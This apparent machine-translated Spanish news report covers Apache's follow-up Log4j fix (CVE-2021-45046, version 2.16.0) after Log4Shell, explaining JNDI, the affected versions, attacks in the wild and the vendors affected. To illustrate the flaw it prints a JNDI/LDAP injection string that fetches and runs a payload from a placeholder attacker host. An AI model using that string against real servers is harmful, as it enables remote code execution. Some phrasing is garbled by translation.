Apache Software Foundation (ASF) ha lanzado una nueva solución para la utilidad de registro Log4j después de que el parche anterior para el exploit Log4Shell revelado recientemente se considerara «incompleto en ciertas configuraciones no predeterminadas».
La segunda vulnerabilidad, rastreada como CVE-2021-45046 , tiene una calificación de 3.7 de un máximo de 10 en el sistema de clasificación CVSS y afecta a todas las versiones de Log4j desde 2.0-beta9 hasta 2.12.1 y 2.13.0 hasta 2.15.0, que los encargados del mantenimiento del proyecto enviaron la semana pasada para abordar una vulnerabilidad crítica de ejecución remota de código (CVE-2021-44228) que podría ser objeto de abuso para infiltrarse y hacerse cargo de los sistemas.
El parche incompleta para CVE-2021 a 44228 podría ser objeto de abuso a «embarcación datos de entrada maliciosos utilizando un JNDI patrón de búsqueda lo que resulta en un ataque de denegación de servicio (DoS),» el ASF dijo en un nuevo asesor. La última versión de Log4j, 2.16.0 (para usuarios que requieren Java 8 o posterior), prácticamente elimina el soporte para búsquedas de mensajes y deshabilita JNDI de forma predeterminada, el componente que está en el corazón de la vulnerabilidad. Se recomienda a los usuarios que requieran Java 7 que actualicen a Log4j versión 2.12.2 cuando esté disponible.
«Tratar con CVE-2021-44228 ha demostrado que el JNDI tiene importantes problemas de seguridad», explicó Ralph Goers de la ASF . «Si bien hemos mitigado lo que sabemos, sería más seguro para los usuarios desactivarlo por completo de forma predeterminada, especialmente porque es poco probable que la gran mayoría lo esté usando».
JNDI, abreviatura de Java Naming and Directory Interface, es una API de Java que permite que las aplicaciones codificadas en el lenguaje de programación busquen datos y recursos como servidores LDAP . Log4Shell reside en la biblioteca Log4j, un marco de registro de código abierto basado en Java que se incorpora comúnmente a los servidores web Apache.
El problema en sí ocurre cuando el componente JNDI del conector LDAP se aprovecha para inyectar una solicitud LDAP maliciosa, algo como «$ {jndi: ldap: // attacker_controled_website / payload_to_be_executed}», que, cuando se inicia sesión en un servidor web que ejecuta la versión vulnerable de la biblioteca, permite a un adversario recuperar una carga útil de un dominio remoto y ejecutarla localmente.
La última actualización llega como consecuencia de la falla ha resultado en una «verdadera pandemia cibernética», con varios actores de amenazas aprovechando Log4Shell de manera que sientan las bases para futuros ataques , incluido el despliegue de mineros de monedas, troyanos de acceso remoto y ransomware en susceptibles máquinas. Se dice que las intrusiones oportunistas comenzaron al menos desde el 1 de diciembre, aunque el error se hizo de conocimiento común el 9 de diciembre.
La falla de seguridad ha provocado una alarma generalizada porque existe en un marco de registro utilizado casi en todas partes en las aplicaciones Java, lo que presenta a los malos actores una puerta de enlace sin precedentes para penetrar y comprometer millones de dispositivos en todo el mundo.
Deletreando más problemas para las organizaciones, la falla explotable de forma remota también afecta a cientos de productos empresariales importantes de varias empresas como Akamai , Amazon , Apache , Apereo , Atlassian , Broadcom , Cisco , Cloudera , ConnectWise , Debian , Docker , Fortinet , Google , etc. IBM , Intel , Juniper Networks , Microsoft , Okta ,Oracle , Red Hat , SolarWinds , SonicWall , Splunk , Ubuntu , VMware , Zscaler , y Zoho , lo que representa un riesgo importante cadena de suministro de software.
